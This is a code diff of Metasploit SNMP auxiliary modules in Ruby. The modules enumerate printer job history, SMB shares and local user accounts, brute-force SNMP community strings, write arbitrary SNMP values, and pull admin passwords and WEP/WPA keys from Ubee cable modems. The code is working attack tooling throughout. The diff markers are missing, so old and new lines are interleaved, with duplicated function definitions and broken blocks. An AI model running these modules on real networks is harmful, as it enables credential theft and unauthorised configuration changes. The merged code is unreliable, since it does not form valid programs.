type.value = 'Serial Port'
when /^1.3.6.1.2.1.25.3.1.18$/
type.value = 'Tape'
when /^1.3.6.1.2.1.25.3.1.19$/
type.value = 'Clock'
when /^1.3.6.1.2.1.25.3.1.20$/
type.value = 'Volatile Memory'
when /^1.3.6.1.2.1.25.3.1.21$/
type.value = 'Non Volatile Memory'
else
type.value = 'unknown'
end
case status.value
when 1
status.value = 'unknown'
when 2
status.value = 'running'
when 3
status.value = 'warning'
when 4
status.value = 'testing'
when 5
status.value = 'down'
else
status.value = 'unknown'
end
descr.value = 'unknown' if descr.value.to_s =~ /noSuchInstance/
device_information.push([index.value, type.value, status.value, descr.value])
end
if !device_information.empty?
output_data['Device information'] = [['Id', 'Type', 'Status', 'Descr']] + device_information
end
software_list = []
snmp.walk(['1.3.6.1.2.1.25.6.3.1.1', '1.3.6.1.2.1.25.6.3.1.2']) do |index, name|
software_list.push([index.value, name.value])
end
if !software_list.empty?
output_data['Software components'] = [['Index', 'Name']] + software_list
end
process_interfaces = []
snmp.walk([
'1.3.6.1.2.1.25.4.2.1.1', '1.3.6.1.2.1.25.4.2.1.2', '1.3.6.1.2.1.25.4.2.1.4',
'1.3.6.1.2.1.25.4.2.1.5', '1.3.6.1.2.1.25.4.2.1.7'
]) do |id, name, path, param, status|
if status.value == 1
status.value = 'running'
elsif status.value == 2
status.value = 'runnable'
else
status.value = 'unknown'
end
process_interfaces.push([id.value, status.value, name.value, path.value, param.value])
end
if !process_interfaces.empty?
output_data['Processes'] = [['Id', 'Status', 'Name', 'Path', 'Parameters']] + process_interfaces
end
print_line("\n[*] System information:\n")
line = ''
width = 30 # name field width
twidth = 32 # table like display cell width
fields_order.each do |k|
next unless output_data.key?(k)
v = output_data[k]
case v
when Array
content = ''
v.each do |a|
case a
when Hash
a.each do |sk, sv|
sk = truncate_to_twidth(sk, twidth)
content << sk.to_s
content << ' ' * [0, width - sk.length].max
content << ": #{sv}\n"
end
when Array
a.each do |sv|
sv = sv.to_s.strip
# I don't like cutting info
# sv = truncate_to_twidth(sv, twidth)
content << sprintf('%-20s', sv)
end
else
content << sprintf(" %s\n", a)
end
content << "\n"
end
report_note(
host: ip,
proto: 'udp',
sname: 'snmp',
port: datastore['RPORT'].to_i,
type: "snmp.#{k}",
data: { content: content }
)
line << "\n[*] #{k}:\n\n#{content}"
when Hash
content = ''
v.each do |sk, sv|
sk = truncate_to_twidth(sk, twidth)
content << sk.to_s
content << ' ' * [0, width - sk.length].max
content << ": #{sv}\n"
end
report_note(
host: ip,
proto: 'udp',
sname: 'snmp',
port: datastore['RPORT'].to_i,
type: "snmp.#{k}",
data: { content: content }
)
line << "\n[*] #{k}:\n\n#{content}"
content << "\n"
else
if v.nil? || v.empty? || v =~ /Null/
v = '-'
end
report_note(
host: ip,
proto: 'udp',
sname: 'snmp',
port: datastore['RPORT'].to_i,
type: "snmp.#{k}",
data: { content: v }
)
k = truncate_to_twidth(k, twidth)
line << k.to_s
line << ' ' * [0, width - k.length].max
line << ": #{v}\n"
end
end
print_line(line)
print_line('')
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::InvalidIpAddress
print_error("#{ip} Invalid IP address. Check it with 'snmpwalk tool'.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue SNMP::ParseError
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
rescue ::Interrupt
raise $ERROR_INFO
rescue StandardError => e
print_error("Unknown error: #{e.class} #{e}")
elog(e)
ensure
disconnect_snmp
end
# rubocop:enable Metrics/MethodLength
def truncate_to_twidth(string, twidth)
string.slice(0..twidth - 2)
end
def truncate_to_twidth(string,twidth)
string.slice(0..twidth-2)
end
def number_to_human_size(size,unit)
def number_to_human_size(size, unit)
size = size.first.to_i * unit.first.to_i
if size < 1024
"#{size} bytes"
elsif size < 1024.0 * 1024.0
"%.02f KB" % (size / 1024.0)
'%.02f KB' % (size / 1024.0)
elsif size < 1024.0 * 1024.0 * 1024.0
"%.02f MB" % (size / 1024.0 / 1024.0)
'%.02f MB' % (size / 1024.0 / 1024.0)
else
"%.02f GB" % (size / 1024.0 / 1024.0 / 1024.0)
'%.02f GB' % (size / 1024.0 / 1024.0 / 1024.0)
end
end
end
@@ -3,145 +3,149 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'HP LaserJet Printer SNMP Enumeration',
'Description' => %q{
This module allows enumeration of files previously printed.
It provides details as filename, client, timestamp and username information.
The default community used is "public".
},
'References' =>
[
super(
update_info(
info,
'Name' => 'HP LaserJet Printer SNMP Enumeration',
'Description' => %q{
This module allows enumeration of files previously printed.
It provides details as filename, client, timestamp and username information.
The default community used is "public".
},
'References' => [
[ 'URL', 'https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol' ],
[ 'URL', 'https://net-snmp.sourceforge.io/docs/man/snmpwalk.html' ],
[ 'URL', 'http://www.nothink.org/codes/snmpcheck/index.php' ],
[ 'URL', 'http://www.securiteam.com/securitynews/5AP0S2KGVS.html' ],
[ 'URL', 'http://stuff.mit.edu/afs/athena/dept/cron/tools/share/mibs/290923.mib' ],
],
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
'License' => MSF_LICENSE
))
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
end
def run_host(ip)
begin
snmp = connect_snmp
snmp = connect_snmp
vprint_status("Connecting to #{ip}")
vprint_status("Connecting to #{ip}")
output_data = []
output_data = []
output_data << "IP address : #{ip}"
output_data << "IP address : #{ip}"
sysName = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s
output_data << "Hostname : #{sysName.strip}"
sysName = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s
output_data << "Hostname : #{sysName.strip}"
sysDesc = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
sysDesc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ')
output_data << "Description : #{sysDesc.strip}"
sysDesc = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
sysDesc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ')
output_data << "Description : #{sysDesc.strip}"
sysContact = snmp.get_value('1.3.6.1.2.1.1.4.0').to_s
output_data << "Contact : #{sysContact.strip}" if not sysContact.empty?
sysContact = snmp.get_value('1.3.6.1.2.1.1.4.0').to_s
output_data << "Contact : #{sysContact.strip}" if !sysContact.empty?
sysLocation = snmp.get_value('1.3.6.1.2.1.1.6.0').to_s
output_data << "Location : #{sysLocation.strip}" if not sysLocation.empty?
sysLocation = snmp.get_value('1.3.6.1.2.1.1.6.0').to_s
output_data << "Location : #{sysLocation.strip}" if !sysLocation.empty?
output_data << ""
output_data << ''
snmp.walk([
"1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1", # job-info-name1 - document name1
"1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.2", # job-info-name2 - document name2
"1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1", # job-info-attr-1 - username
"1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2", # job-info-attr-2 - machine name
"1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.3", # job-info-attr-3 - domain (?)
"1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.4", # job-info-attr-4 - timestamp
"1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.6", # job-info-attr-6 - application name
"1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.7", # job-info-attr-7 - application command
]) do |name1,name2,username,client,domain,timestamp,app_name,app_command|
snmp.walk([
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1', # job-info-name1 - document name1
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.2', # job-info-name2 - document name2
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1', # job-info-attr-1 - username
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2', # job-info-attr-2 - machine name
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.3', # job-info-attr-3 - domain (?)
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.4', # job-info-attr-4 - timestamp
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.6', # job-info-attr-6 - application name
'1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.7', # job-info-attr-7 - application command
]) do |name1, name2, username, client, domain, timestamp, app_name, app_command|
filename = name1.value.to_s + name2.value.to_s
filename = name1.value.to_s + name2.value.to_s
if (username.value.to_s !~ /noSuchInstance/)
if username.value.to_s =~ /^JobAcct(\d+)=(.*)/
username = $2
end
else
username = ''
end
if (client.value.to_s !~ /noSuchInstance/)
if client.value.to_s =~ /^JobAcct(\d+)=(.*)/
client = $2
end
else
client = ''
end
if (domain.value.to_s !~ /noSuchInstance/)
if domain.value.to_s =~ /^JobAcct(\d+)=(.*)/
domain = $2
end
else
domain = ''
end
if (timestamp.value.to_s !~ /noSuchInstance/)
if timestamp.value.to_s =~ /^JobAcct(\d+)=(.*)/
timestamp = $2
end
else
timestamp = ''
end
if (app_name.value.to_s !~ /noSuchInstance/)
if app_name.value.to_s =~ /^JobAcct(\d+)=(.*)/
app_name = $2
end
else
app_name = ''
end
if (app_command.value.to_s !~ /noSuchInstance/)
if app_command.value.to_s =~ /^JobAcct(\d+)=(.*)/
app_command = $2
end
else
app_command = ''
end
if not timestamp.empty?
output_data << "File name : #{filename}"
output_data << "Username : #{username}" if not username.empty?
output_data << "Client : #{client}" if not client.empty?
output_data << "Domain : #{domain}" if not domain.empty?
output_data << "Timestamp : #{timestamp}" if not timestamp.empty?
output_data << "Application : #{app_name} (#{app_command})" if not app_name.empty?
output_data << ""
if (username.value.to_s !~ /noSuchInstance/)
if username.value.to_s =~ /^JobAcct(\d+)=(.*)/
username = ::Regexp.last_match(2)
end
else
username = ''
end
output_data.each do |row|
print_good("#{row}")
if (client.value.to_s !~ /noSuchInstance/)
if client.value.to_s =~ /^JobAcct(\d+)=(.*)/
client = ::Regexp.last_match(2)
end
else
client = ''
end
disconnect_snmp
if (domain.value.to_s !~ /noSuchInstance/)
if domain.value.to_s =~ /^JobAcct(\d+)=(.*)/
domain = ::Regexp.last_match(2)
end
else
domain = ''
end
rescue SNMP::RequestTimeout
print_error("#{ip}, SNMP request timeout.")
rescue Errno::ECONNREFUSED
print_error("#{ip}, Connection refused.")
rescue SNMP::InvalidIpAddress
print_error("#{ip}, Invalid IP Address. Check it with 'snmpwalk tool'.")
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("#{ip}, Unknown error: #{e.class} #{e}")
if (timestamp.value.to_s !~ /noSuchInstance/)
if timestamp.value.to_s =~ /^JobAcct(\d+)=(.*)/
timestamp = ::Regexp.last_match(2)
end
else
timestamp = ''
end
if (app_name.value.to_s !~ /noSuchInstance/)
if app_name.value.to_s =~ /^JobAcct(\d+)=(.*)/
app_name = ::Regexp.last_match(2)
end
else
app_name = ''
end
if (app_command.value.to_s !~ /noSuchInstance/)
if app_command.value.to_s =~ /^JobAcct(\d+)=(.*)/
app_command = ::Regexp.last_match(2)
end
else
app_command = ''
end
if !timestamp.empty?
output_data << "File name : #{filename}"
output_data << "Username : #{username}" if !username.empty?
output_data << "Client : #{client}" if !client.empty?
output_data << "Domain : #{domain}" if !domain.empty?
output_data << "Timestamp : #{timestamp}" if !timestamp.empty?
output_data << "Application : #{app_name} (#{app_command})" if !app_name.empty?
output_data << ''
end
end
output_data.each do |row|
print_good(row.to_s)
end
disconnect_snmp
rescue SNMP::RequestTimeout
print_error("#{ip}, SNMP request timeout.")
rescue Errno::ECONNREFUSED
print_error("#{ip}, Connection refused.")
rescue SNMP::InvalidIpAddress
print_error("#{ip}, Invalid IP address. Check it with 'snmpwalk tool'.")
rescue ::Interrupt
raise $ERROR_INFO
rescue StandardError => e
print_error("#{ip}, Unknown error: #{e.class} #{e}")
end
end
@@ -3,6 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Report
@@ -10,55 +11,60 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'SNMP Windows SMB Share Enumeration',
'Description' => "This module will use LanManager OID values to enumerate SMB shares on a Windows system via SNMP",
'Author' => ['tebo[at]attackresearch.com'],
'License' => MSF_LICENSE
'Name' => 'SNMP Windows SMB Share Enumeration',
'Description' => 'This module will use LanManager OID values to enumerate SMB shares on a Windows system via SNMP',
'Author' => ['tebo[at]attackresearch.com'],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
end
def run_host(ip)
begin
snmp = connect_snmp
snmp = connect_snmp
share_tbl = ["1.3.6.1.4.1.77.1.2.27.1.1",
"1.3.6.1.4.1.77.1.2.27.1.2",
"1.3.6.1.4.1.77.1.2.27.1.3"]
share_tbl = [
'1.3.6.1.4.1.77.1.2.27.1.1',
'1.3.6.1.4.1.77.1.2.27.1.2',
'1.3.6.1.4.1.77.1.2.27.1.3'
]
@shares = []
if snmp.get_value('sysDescr.0') =~ /Windows/
@shares = []
if snmp.get_value('sysDescr.0') =~ /Windows/
snmp.walk(share_tbl) do |entry|
@shares << entry.collect{|x|x.value}
end
snmp.walk(share_tbl) do |entry|
@shares << entry.collect(&:value)
end
disconnect_snmp
if not @shares.empty?
print_good("#{ip} #{@shares.map{|x| "\n\t#{x[0]} - #{x[2]} (#{x[1]})" }.join}") #"
report_note(
:host => ip,
:proto => 'udp',
:port => datastore['RPORT'],
:sname => 'snmp',
:type => 'smb.shares',
:data => { :shares => @shares },
:update => :unique_data
)
end
rescue SNMP::ParseError
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("#{ip} Unknown error: #{e.class} #{e}")
ensure
disconnect_snmp
end
disconnect_snmp
return if @shares.empty?
print_good("#{ip} #{@shares.map { |x| "\n\t#{x[0]} - #{x[2]} (#{x[1]})" }.join}")
report_note(
host: ip,
proto: 'udp',
port: datastore['RPORT'],
sname: 'snmp',
type: 'smb.shares',
data: { shares: @shares },
update: :unique_data
)
rescue SNMP::ParseError
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout => e
vprint_error("#{ip} #{e.message}")
rescue ::SNMP::UnsupportedVersion => e
vprint_error("#{ip} #{e.message}")
rescue ::Interrupt
raise $ERROR_INFO
rescue StandardError => e
print_error("#{ip} Unknown error: #{e.class} #{e}")
ensure
disconnect_snmp
end
end
@@ -11,66 +11,72 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'SNMP Windows Username Enumeration',
'Name' => 'SNMP Windows Username Enumeration',
'Description' => '
This module will use LanManager/psProcessUsername OID values to
enumerate local user accounts on a Windows/Solaris system via SNMP
',
'Author' => ['tebo[at]attackresearch.com'],
'License' => MSF_LICENSE
'Author' => ['tebo[at]attackresearch.com'],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
end
def run_host(ip)
peer = "#{ip}:#{rport}"
begin
snmp = connect_snmp
snmp = connect_snmp
sys_desc = snmp.get_value('sysDescr.0')
if sys_desc.blank? || sys_desc.to_s == 'Null'
vprint_error("#{peer} No sysDescr received")
return
end
sys_desc = sys_desc.split(/[\r\n]/).join(' ')
sys_desc_map = {
/Windows/ => '1.3.6.1.4.1.77.1.2.25',
/Sun/ => '1.3.6.1.4.1.42.3.12.1.8'
}
matching_oids = sys_desc_map.select { |re, _| sys_desc =~ re }.values
if matching_oids.empty?
vprint_warning("#{peer} Skipping unsupported sysDescr: '#{sys_desc}'")
return
end
users = []
matching_oids.each do |oid|
snmp.walk(oid) do |row|
row.each { |val| users << val.value.to_s }
end
end
unless users.empty?
users.sort!
users.uniq!
print_good("#{peer} Found #{users.size} users: #{users.join(', ')}")
end
report_note(
host: rhost,
port: rport,
proto: 'udp',
sname: 'snmp',
update: :unique_data,
type: 'snmp.users',
data: { :users => users }
)
rescue SNMP::ParseError
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
rescue ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
# too noisy for a scanner
ensure
disconnect_snmp
sys_desc = snmp.get_value('sysDescr.0')
if sys_desc.blank? || sys_desc.to_s == 'Null'
vprint_error("#{peer} No sysDescr received")
return
end
sys_desc = sys_desc.split(/[\r\n]/).join(' ')
sys_desc_map = {
/Windows/ => '1.3.6.1.4.1.77.1.2.25',
/Sun/ => '1.3.6.1.4.1.42.3.12.1.8'
}
matching_oids = sys_desc_map.select { |re, _| sys_desc =~ re }.values
if matching_oids.empty?
vprint_warning("#{peer} Skipping unsupported sysDescr: '#{sys_desc}'")
return
end
users = []
matching_oids.each do |oid|
snmp.walk(oid) do |row|
row.each { |val| users << val.value.to_s }
end
end
unless users.empty?
users.sort!
users.uniq!
print_good("#{peer} Found #{users.size} users: #{users.join(', ')}")
end
report_note(
host: rhost,
port: rport,
proto: 'udp',
sname: 'snmp',
update: :unique_data,
type: 'snmp.users',
data: { users: users }
)
rescue SNMP::ParseError
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
rescue ::SNMP::RequestTimeout
# too noisy for a scanner
rescue ::SNMP::UnsupportedVersion => e
vprint_error(e.message)
ensure
disconnect_snmp
end
end
+34 -32
View File
@@ -13,40 +13,45 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'SNMP Community Login Scanner',
'Name' => 'SNMP Community Login Scanner',
'Description' => %q{
This module logs in to SNMP devices using common community names.
},
'Author' => 'hdm',
'References' =>
[
[ 'CVE', '1999-0508' ], # Weak password
[ 'CVE', '1999-0517' ],
[ 'CVE', '1999-0516' ],
],
'License' => MSF_LICENSE
'Author' => 'hdm',
'References' => [
[ 'CVE', '1999-0508' ], # Weak password
[ 'CVE', '1999-0517' ],
[ 'CVE', '1999-0516' ],
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
register_options(
[
Opt::RPORT(161),
OptEnum.new('PROTOCOL', [true, 'The SNMP protocol to use', 'udp', ['udp', 'tcp']]),
OptEnum.new('VERSION', [true, 'The SNMP version to scan', '1', ['1', '2c', 'all']]),
OptString.new('PASSWORD', [ false, 'The password to test' ]),
OptPath.new('PASS_FILE', [ false, "File containing communities, one per line",
File.join(Msf::Config.data_directory, "wordlists", "snmp_default_pass.txt")
])
])
[
Opt::RPORT(161),
OptEnum.new('PROTOCOL', [true, 'The SNMP protocol to use', 'udp', ['udp', 'tcp']]),
OptEnum.new('VERSION', [true, 'The SNMP version to scan', '1', ['1', '2c', 'all']]),
OptString.new('PASSWORD', [ false, 'The password to test' ]),
OptPath.new('PASS_FILE', [
false, 'File containing communities, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'snmp_default_pass.txt')
])
]
)
deregister_options('USERNAME', 'USER_FILE', 'USERPASS_FILE')
end
# Operate on a single host so that we can take advantage of multithreading
def run_host(ip)
collection = Metasploit::Framework::CommunityStringCollection.new(
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD']
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD']
)
scanner = Metasploit::Framework::LoginScanner::SNMP.new(
@@ -67,8 +72,8 @@ class MetasploitModule < Msf::Auxiliary
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
module_fullname: fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
@@ -77,12 +82,12 @@ class MetasploitModule < Msf::Auxiliary
print_good "#{ip}:#{rport} - Login Successful: #{result.credential} (Access level: #{result.access_level}); Proof (sysDescr.0): #{result.proof}"
report_service(
:host => ip,
:port => rport,
:proto => 'udp',
:name => 'snmp',
:info => result.proof,
:state => 'open'
host: ip,
port: rport,
proto: 'udp',
name: 'snmp',
info: result.proof,
state: 'open'
)
else
invalidate_login(credential_data)
@@ -99,7 +104,4 @@ class MetasploitModule < Msf::Auxiliary
datastore['PROTOCOL']
end
end
+54 -51
View File
@@ -3,46 +3,68 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'SNMP Set Module',
'Description' => %q{
super(
update_info(
info,
'Name' => 'SNMP Set Module',
'Description' => %q{
This module, similar to snmpset tool, uses the SNMP SET request
to set information on a network entity. A OID (numeric notation)
and a value are required. Target device must permit write access.
},
'References' =>
[
},
'References' => [
[ 'URL', 'https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol' ],
[ 'URL', 'http://www.net-snmp.org/docs/man/snmpset.html' ],
[ 'URL', 'http://www.oid-info.com/' ],
],
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
'License' => MSF_LICENSE
))
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES],
'Reliability' => []
}
)
)
register_options([
OptString.new('OID', [ true, "The object identifier (numeric notation)"]),
OptString.new('OIDVALUE', [ true, "The value to set"]),
OptString.new('OID', [ true, 'The object identifier (numeric notation)']),
OptString.new('OIDVALUE', [ true, 'The value to set']),
])
end
def run_host(ip)
oid = datastore['OID'].to_s
oidvalue = datastore['OIDVALUE'].to_s
comm = datastore['COMMUNITY'].to_s
begin
snmp = connect_snmp
oid = datastore['OID'].to_s
oidvalue = datastore['OIDVALUE'].to_s
comm = datastore['COMMUNITY'].to_s
print_status("Try to connect to #{ip}...")
snmp = connect_snmp
# get request
check = snmp.get_value(oid)
print_status("Try to connect to #{ip}...")
if check.to_s =~ /Null/
check = '\'\''
end
print_status("Check initial value : OID #{oid} => #{check}")
# set request
varbind = SNMP::VarBind.new(oid, SNMP::OctetString.new(oidvalue))
resp = snmp.set(varbind)
if resp.error_status == :noError
print_status("Set new value : OID #{oid} => #{oidvalue}")
# get request
check = snmp.get_value(oid)
@@ -51,41 +73,22 @@ class MetasploitModule < Msf::Auxiliary
check = '\'\''
end
print_status("Check initial value : OID #{oid} => #{check}")
print_status("Check new value : OID #{oid} => #{check}")
# set request
varbind = SNMP::VarBind.new(oid,SNMP::OctetString.new(oidvalue))
resp = snmp.set(varbind)
if resp.error_status == :noError
print_status("Set new value : OID #{oid} => #{oidvalue}")
# get request
check = snmp.get_value(oid)
if check.to_s =~ /Null/
check = '\'\''
end
print_status("Check new value : OID #{oid} => #{check}")
else
print_status("#{ip} - OID not writable or does not provide WRITE access with community '#{comm}'")
end
rescue ::SNMP::RequestTimeout
print_error("#{ip} - SNMP request timeout with community '#{comm}'.")
rescue ::Rex::ConnectionError
print_error("#{ip} - 'Connection Refused'")
rescue SNMP::UnsupportedVersion
print_error("#{ip} - Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
ensure
disconnect_snmp
else
print_status("#{ip} - OID not writable or does not provide WRITE access with community '#{comm}'")
end
rescue ::SNMP::RequestTimeout
print_error("#{ip} - SNMP request timeout with community '#{comm}'.")
rescue ::Rex::ConnectionError
print_error("#{ip} - 'Connection Refused'")
rescue SNMP::UnsupportedVersion
print_error("#{ip} - Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
raise $ERROR_INFO
rescue StandardError => e
print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
ensure
disconnect_snmp
end
end
+130 -124
View File
@@ -3,6 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Report
@@ -10,147 +11,152 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Ubee DDW3611b Cable Modem Wifi Enumeration',
'Name' => 'Ubee DDW3611b Cable Modem WiFi Enumeration',
'Description' => %q{
This module will extract WEP keys and WPA preshared keys from
certain Ubee cable modems.
},
'References' =>
[
[ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]
],
'Author' => ['Deral "PercentX" Heiland'],
'License' => MSF_LICENSE
'References' => [
[ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]
],
'Author' => ['Deral "PercentX" Heiland'],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
end
def run_host(ip)
output_data = {}
begin
snmp = connect_snmp
snmp = connect_snmp
if snmp.get_value('1.2.840.10036.2.1.1.9.12') =~ /DDW3611/
print_good("#{ip}")
wifiinfo = ""
unless snmp.get_value('1.2.840.10036.2.1.1.9.12') =~ /DDW3611/
vprint_eror("#{ip} system is not DDW3611")
return
end
# System user account and Password
username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0')
print_good("Username: #{username}")
wifiinfo << "Username: #{username}" << "\n"
password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
print_good("Password: #{password}")
wifiinfo << "Password: #{password}" << "\n"
print_good(ip.to_s)
wifiinfo = ''
wifistatus = snmp.get_value('1.3.6.1.2.1.2.2.1.8.12')
if wifistatus == 1
ssid = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.3.12')
print_good("SSID: #{ssid}")
wifiinfo << "SSID: #{ssid}" << "\n"
# System user account and Password
username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0')
print_good("Username: #{username}")
wifiinfo << "Username: #{username}" << "\n"
password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
print_good("Password: #{password}")
wifiinfo << "Password: #{password}" << "\n"
# Wifi Security Version
wifiversion = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.5.12')
if wifiversion == "0"
print_line("Open Access Wifi is Enabled")
wifistatus = snmp.get_value('1.3.6.1.2.1.2.2.1.8.12')
if wifistatus == 1
ssid = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.3.12')
print_good("SSID: #{ssid}")
wifiinfo << "SSID: #{ssid}" << "\n"
# WEP enabled
elsif wifiversion == "1"
weptype = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.2.12')
if weptype == "2"
wepkey1 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.1')
key1 = "#{wepkey1}".unpack('H*')
print_good("WEP KEY1: #{key1}")
wifiinfo << "WEP KEY1: #{key1}" << "\n"
wepkey2 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.2')
key2 = "#{wepkey2}".unpack('H*')
print_good("WEP KEY2: #{key2}")
wifiinfo << "WEP KEY2: #{key2}" << "\n"
wepkey3 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.3')
key3 = "#{wepkey3}".unpack('H*')
print_good("WEP KEY3: #{key3}")
wifiinfo << "WEP KEY3: #{key3}" << "\n"
wepkey4 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.3.1.2.12.4')
key4 = "#{wepkey4}".unpack('H*')
print_good("WEP KEY4: #{key4}")
wifiinfo << "WEP KEY4: #{key4}" << "\n"
actkey = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.1.1.1.12')
print_good("Active Wep key is #{actkey}")
wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n"
# Wifi Security Version
wifiversion = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.1.14.1.5.12')
if wifiversion == '0'
print_line('Open Access Wifi is Enabled')
elsif weptype == "1"
wepkey1 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.1')
key1 = "#{wepkey1}".unpack('H*')
print_good("WEP KEY1: #{key1}")
wifiinfo << "WEP KEY1: #{key1}" << "\n"
wepkey2 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.2')
key2 = "#{wepkey2}".unpack('H*')
print_good("WEP KEY2: #{key2}")
wifiinfo << "WEP KEY2: #{key2}" << "\n"
wepkey3 = snmp.get_value('1.3.6.1.4.1.4684.38.2.2.2.1.5.4.2.2.1.2.12.3')
key3 = "#{wepkey3}".unpack('H*')
print_good("WEP KEY3: #{key3}")
